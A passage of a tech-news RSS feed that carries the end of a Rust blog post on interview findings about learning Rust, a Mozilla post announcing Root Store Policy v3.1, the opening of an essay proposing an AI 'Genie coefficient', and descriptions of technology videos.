Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
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<title><![CDATA[Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1]]></title>
<description><![CDATA[Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.
While previous policy updates focused heavily on certificate revocation, automation, and operat...]]></description>
<link>https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:23 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of <a href="https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/policy/">Mozilla Root Store Policy</a> (MRSP) version 3.1, effective July 1, 2026.</p>
<p>While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.</p>
<p>Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.</p>
<h3><b>Improving CP/CPS Documentation</b></h3>
<p>Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.</p>
<p>Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.</p>
<p>The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.</p>
<p>Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.</p>
<h3><b>Introducing Detailed Controls Reports</b></h3>
<p>A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.</p>
<p>Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.</p>
<p>A DCR must include:</p>
<ul>
<li>The scope and boundaries of the audited CA systems;</li>
<li>Applicable audit criteria;</li>
<li>Controls implemented by the CA;</li>
<li>The auditor’s testing procedures;</li>
<li>Results of control testing; and</li>
<li>Information regarding control exceptions or deficiencies.</li>
</ul>
<p>Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.</p>
<h3><b>Additional Clarifications and Improvements</b></h3>
<p>MRSP v3.1 also includes several targeted clarifications and refinements:</p>
<ul>
<li>aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;</li>
<li>clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;</li>
<li>requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and</li>
<li>clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.</li>
</ul>
<h3><b>Looking Forward</b></h3>
<p>Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both <a href="https://wiki.mozilla.org/CA/CP-CPS_Guidance">CP/CPS Documentation</a> and <a href="https://wiki.mozilla.org/CA/DCRs">Detailed Controls Reports</a>.</p>
<p>As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.</p>
<p>Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.</p>
<p>The post <a href="https://blog.mozilla.org/security/2026/06/29/improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v3-1/">Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1</a> appeared first on <a href="https://blog.mozilla.org/security">Mozilla Security Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Why AI Needs a “Genie Coefficient”]]></title>
<description><![CDATA[This essay was written with Barath Raghavan, and originally appeared in IEEE Spectrum.
Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a n...]]></description>
<link>https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:58 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This essay was written with Barath Raghavan, and originally appeared in <a href="https://spectrum.ieee.org/ai-agent-benchmark">IEEE Spectrum</a>.</em></p>
<p>Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.</p>
<p>There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...</p>]]></content:encoded>
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<title><![CDATA[SHOCKING NEW OpenAI Robotics Tech + Tesla Reveals Optimus AI Robot Update | Meta AI CACTI]]></title>
<description><![CDATA[Author: AI News - Bewertung: 343x - Views:10943 - In a world-changing breakthrough, Microsoft researchers have integrated OpenAI’s ChatGPT with robotics and other devices, enabling the use of natural language to control various devices, including drones, robot arms, home assistant robots and more...]]></description>
<link>https://tsecurity.de/de/3693270/videos/shocking-new-openai-robotics-tech-tesla-reveals-optimus-ai-robot-update-meta-ai-cacti/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693270/videos/shocking-new-openai-robotics-tech-tesla-reveals-optimus-ai-robot-update-meta-ai-cacti/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:47 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: AI News - Bewertung: 343x - Views:10943 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/tKUHRkqt6tE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>- In a world-changing breakthrough, Microsoft researchers have integrated OpenAI’s ChatGPT with robotics and other devices, enabling the use of natural language to control various devices, including drones, robot arms, home assistant robots and more, allowing humans to easily communicate their intentions to robots just like they would to another human, bridging the gap between man and machine. Tesla’s Optimus AI robot can now walk short distances by itself, carry an object of its arm&#039;s size, and use basic tools with the help of artificial intelligence. CACTI from Meta AI consists of four stages that handle data collection, data augmentation, visual representation learning, and imitation policy training separately to enable scalability in robot learning. <br />
<br />
AI Marketplace: https://taimine.com/<br />
Deep Learning AI Specialization: https://imp.i384100.net/GET-STARTED<br />
<br />
AI News Timestamps:<br />
0:00 New OpenAI Robotics Tech With ChatGPT<br />
5:06 Tesla Optimus AI Robot News<br />
6:15 Meta AI CACTI Robot Imitation Learning<br />
<br />
#technology #tech #ai<br/></p>]]></content:encoded>
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<title><![CDATA[Understanding different types of OLED TVs and displays]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 5027x - Views:93409 Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus ...]]></description>
<link>https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:42 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
